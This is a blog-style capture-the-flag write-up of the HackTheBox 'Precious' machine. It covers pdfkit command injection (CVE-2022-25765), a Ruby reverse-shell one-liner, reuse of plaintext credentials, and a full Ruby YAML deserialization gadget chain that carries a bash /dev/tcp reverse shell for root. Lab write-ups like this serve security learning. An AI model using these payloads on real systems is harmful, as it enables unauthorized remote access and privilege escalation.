Post

Precious

Machine abstract

This Linux system hosts a web application capable of generating PDF files from websites using pdfkit. Unfortunately, a vulnerability in pdfkit exposes the application to Command Injection, potentially leading to Remote Code Execution (RCE).Once in the machone a plaintext password is stored in a user’s home directory, posing a risk for lateral movement to other users on the system.The other user had permissions to execute a vulnerable Ruby script lacks password protection but requires a YAML file containing a payload granting root privileges to this user.

Skills Learned

  • Command Injection (Command Injection in pdfkit )
  • Analysing and identifying vulnerable Ruby code

Enumeration

nmap

┌──(root㉿kali)-[/home/…/Documents/CTFs/HackTheBox/Precious]
└─# cat nmap.scans            
# Nmap 7.94 scan initiated Wed Apr 24 20:10:23 2024 as: nmap -vv -sV -oN nmap.scans 10.10.11.189
Nmap scan report for precious.htb (10.10.11.189)
Host is up, received reset ttl 63 (0.25s latency).
Scanned at 2024-04-24 20:10:25 EAT for 13s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 24 20:10:38 2024 -- 1 IP address (1 host up) scanned in 15.03 seconds

There were 2 ports open , port 22 and port 80

HTTP

With port 80, it seems like a webpage that convert web urls to pdf

Alt text

When you try to analyze the response of the pdf , it exposes the technology behind and the version number pdfkit v0.8.6 and the server behind it X-Runtime: Ruby

Alt text

Running exiftool on the downloaded pdf, it was also exposing the version number pdfkit

┌──(root㉿kali)-[/home/sire/Desktop]
└─# exiftool 7kt7ndnvrj7uh353nujyz93b808h4nrh.pdf 
ExifTool Version Number         : 12.63
File Name                       : 7kt7ndnvrj7uh353nujyz93b808h4nrh.pdf
Directory                       : .
File Size                       : 4.6 kB
File Modification Date/Time     : 2024:04:24 20:22:44+03:00
File Access Date/Time           : 2024:04:24 20:22:44+03:00
File Inode Change Date/Time     : 2024:04:24 20:22:44+03:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

With this PoC I was able to get command injection with curl

Alt text

We successfully receive a callback on our HTTP server, verifying that we have RCE on the target machine.

# Foothold Since the application was running on ruby, I tried using ruby payload to get a reverse shell with revshell though I URL encoded it

1
ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.17",4422))'

Started a Netcat listener on port 9001 and submit the payload on the web application using burp and successfully receive a shell as ruby ..

Alt text

Lateral Movement

After stabilizing the shell I pocked around and a .bundle directory in user’s home directory, which commonly hosts configuration files used by Gem and other Ruby repositories.Inside the aforementioned directory, we can find a config file which reveals some plain-text credentials for the henry user. This configuration file typically stores bundler options, allowing users to save their credentials for each Gem source.

Alt text

Privilege Escalation

When typing sudo -l we can see a command we can run as root without any privileges

Alt text

Checking the ruby file , U can see it requires a certain file

1
2
3
4
5
6
7
....

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end
....

Runing the script, It requres the dependencies.yml

Alt text

Hunting for the dependencies.yml file, I found a sample folder with dependencies.yml and running the script, I got this

1
2
3
4
henry@precious:/opt/sample$ /usr/bin/ruby /opt/update_dependencies.rb
Installed version differs from the one specified in file: yaml
Installed version is equals to the one specified in file: pdfkit
henry@precious:/opt/sample$ 

So this module provides a Ruby interface for data serialization in YAML format. Do not use YAML to load untrusted data. Doing so is unsafe and could allow malicious input to execute arbitrary code inside your application. Please see doc/security.rdoc for more information. A search for Ruby deserialisation yields a popular repository, hosting an array of payloads useful for our practices; they are all bound to versions between 2.0 and 3.0 , so we first check what version the target machine is running.

1
2
henry@precious:/opt/sample$ ruby -v
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]

And this this version seems vulnerabl to this payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

Alt text

With a bash paload bash -c "bash -i >& /dev/tcp/10.10.14.17/4444 0>&1" I was able to get a connection back with root privileges

.... 
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: bash -c "bash -i >& /dev/tcp/10.10.14.17/4444 0>&1"
         method_id: :resolve

...

After running the script, I was able to get a reverse shell back as root

Alt text

## 🐞 CVE-2022-25765

This post is licensed under CC BY 4.0 by the author.